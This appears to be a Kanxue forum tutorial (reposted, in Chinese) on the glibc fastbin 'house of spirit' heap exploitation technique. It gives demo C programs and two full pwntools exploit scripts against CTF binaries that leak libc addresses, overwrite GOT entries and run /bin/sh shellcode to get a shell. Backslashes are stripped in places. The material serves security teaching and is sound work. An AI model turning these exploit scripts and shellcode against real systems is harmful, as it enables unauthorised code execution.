本文为看雪论坛精华文章
看雪论坛作者ID:yichen115
#include<stdio.h>
void main(){
char *a1=malloc(0x10);
memset(a1,0x41,0x10);
char *a2=malloc(0x10);
memset(a2,0x42,0x10);
char *a3=malloc(0x10);
memset(a3,0x43,0x10);
char *a4=malloc(0x30);
memset(a4,0x44,0x30);
char *a5=malloc(0x30);
memset(a5,0x45,0x30);
printf("malloc done!n");
free(a1);
free(a2);
free(a3);
free(a4);
free(a5);
printf("free donen");
}
fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理
int main() {
malloc(1);
fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.n");
unsigned long long *a, *b;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "The first one: %pn", &fake_chunks[0]);
fprintf(stderr, "The second one: %pn", &fake_chunks[4]);
fake_chunks[1] = 0x20; // the size
fake_chunks[5] = 0x1234; // nextsize
fake_chunks[2] = 0x4141414141414141LL;
fake_chunks[6] = 0x4141414141414141LL;
fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.n", &fake_chunks[0]);
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!n", &fake_chunks[0], &fake_chunks[2]);
b = malloc(0x10);
fprintf(stderr, "malloc(0x10): %pn", b);
b[0] = 0x4242424242424242LL;
}
首先在程序的第 14 行下个断点 b 14。
运行到这里可以看到 fake_chunk 目前还没有被我们写入:
b = malloc(0x10);
b[0] = 0x4242424242424242LL;
add('1'*20,'a'*20)
add('2'*20,'b'*20)
name = 'a'*27 + elf.got['puts']
count=1
while count<0x3f:
add('a' * 27 + p32(0), 'b')
count=count+1
payload = 'a' * 27 + p32(0x0804a2a8)
add(payload,25 * 'a')
payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
payload = payload.ljust(52, 'b')
payload += p32(0)
payload = payload.ljust(128, 'c')
leave(payload)
payload = p32(elf.got['strlen']).ljust(20, 'a')
add('b' * 20,payload)
leave(p32(sys_addr) + ';/bin/shx00')
from pwn import *
context.log_level = 'debug'
p=process('./oreo')
elf=ELF('./oreo')
libc = ELF('./libc.so.6')
def cmd(choice):
p.sendline(str(choice))
def add(name,description):
cmd(1)
p.sendline(name)
p.sendline(description)
def show():
cmd(2)
p.recvuntil('===================================n')
def order():
cmd(3)
def leave(notice):
cmd(4)
p.sendline(notice)
def stats():
cmd(5)
add('1'*20,'a'*20)
name = 'a'*27 + p32(elf.got['puts'])
add(name,'b'*20)
show()
p.recvuntil('===================================n')
p.recvuntil('Description: ')
puts_addr = u32(p.recvuntil('n', drop=True)[:4])
print hex(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
count=1
while count<0x3f:
add('a' * 27 + p32(0), 'b')
count=count+1
payload = 'a' * 27 + p32(0x0804a2a8)
add(payload,25 * 'a')
payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
payload = payload.ljust(52, 'b')
payload += p32(0)
payload = payload.ljust(128, 'c')
leave(payload)
order()
p.recvuntil('Okay order submitted!n')
payload = p32(elf.got['strlen']).ljust(20, 'a')
add('b' * 20,payload)
leave(p32(sys_addr) + ';/bin/shx00')
p.interactive()
首先通过 read 函数来泄露出来 rbp 中保存的地址:
shellcode = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"
payload = shellcode.ljust(46, 'a')
payload += 'bb'
p.send(payload)
p.recvuntil('bb')
leak_addr = p.recvuntil(', w')[:-3]
leak_addr = u64(leak_addr.ljust(8,'x00'))
fake_addr = leak_addr - 0x90
shellcode_addr = leak_addr - 0x50
p.recvuntil('id ~~?')
p.sendline('48')
p.recvuntil('money~')
payload = p64(0) * 5 + p64(0x41)
payload = payload.ljust(0x38, 'x00') + p64(fake_addr)
p.send(payload)
看一下栈上的结构,最上面是构造的 chunk,下面是 id(作为 next chunk size)然后是 shellcode以及之前泄露的地址:
from pwn import *
p = process("./pwn")
shellcode = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"
payload = shellcode.ljust(46, 'a')
payload += 'bb'
#len=0x30
p.send(payload)
p.recvuntil('bb')
leak_addr = p.recvuntil(', w')[:-3]
leak_addr = u64(leak_addr.ljust(8,'x00'))
fake_addr = leak_addr - 0x90
shell_addr = leak_addr - 0x50
print 'shellcode addr:'+hex(shell_addr)
print 'fake addr:'+hex(fake_addr)
print 'leak addr:'+hex(leak_addr)
p.recvuntil('id ~~?')
p.sendline('48')
p.recvuntil('money~')
payload = p64(0) * 5 + p64(0x41)
payload = payload.ljust(0x38, 'x00') + p64(fake_addr)
p.send(payload)
p.recvuntil('choice : ')
p.sendline('2')
p.recvuntil('choice : ')
p.sendline('1')
p.recvuntil('long?')
p.sendline('48')
p.recvuntil('n48n')
payload = '0' * 0x18 + p64(shell_addr)
payload = payload.ljust(48, 'x00')
p.send(payload)
p.recvuntil('choice : ')
p.sendline('3')
p.interactive()
本文经授权转载自作者公众号 陈冠男的游戏人生。
看雪ID:yichen115
https://bbs.pediy.com/user-home-837755.htm
*本文由看雪论坛 yichen115 原创。
推荐文章++++
求分享
求点赞
求在看
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论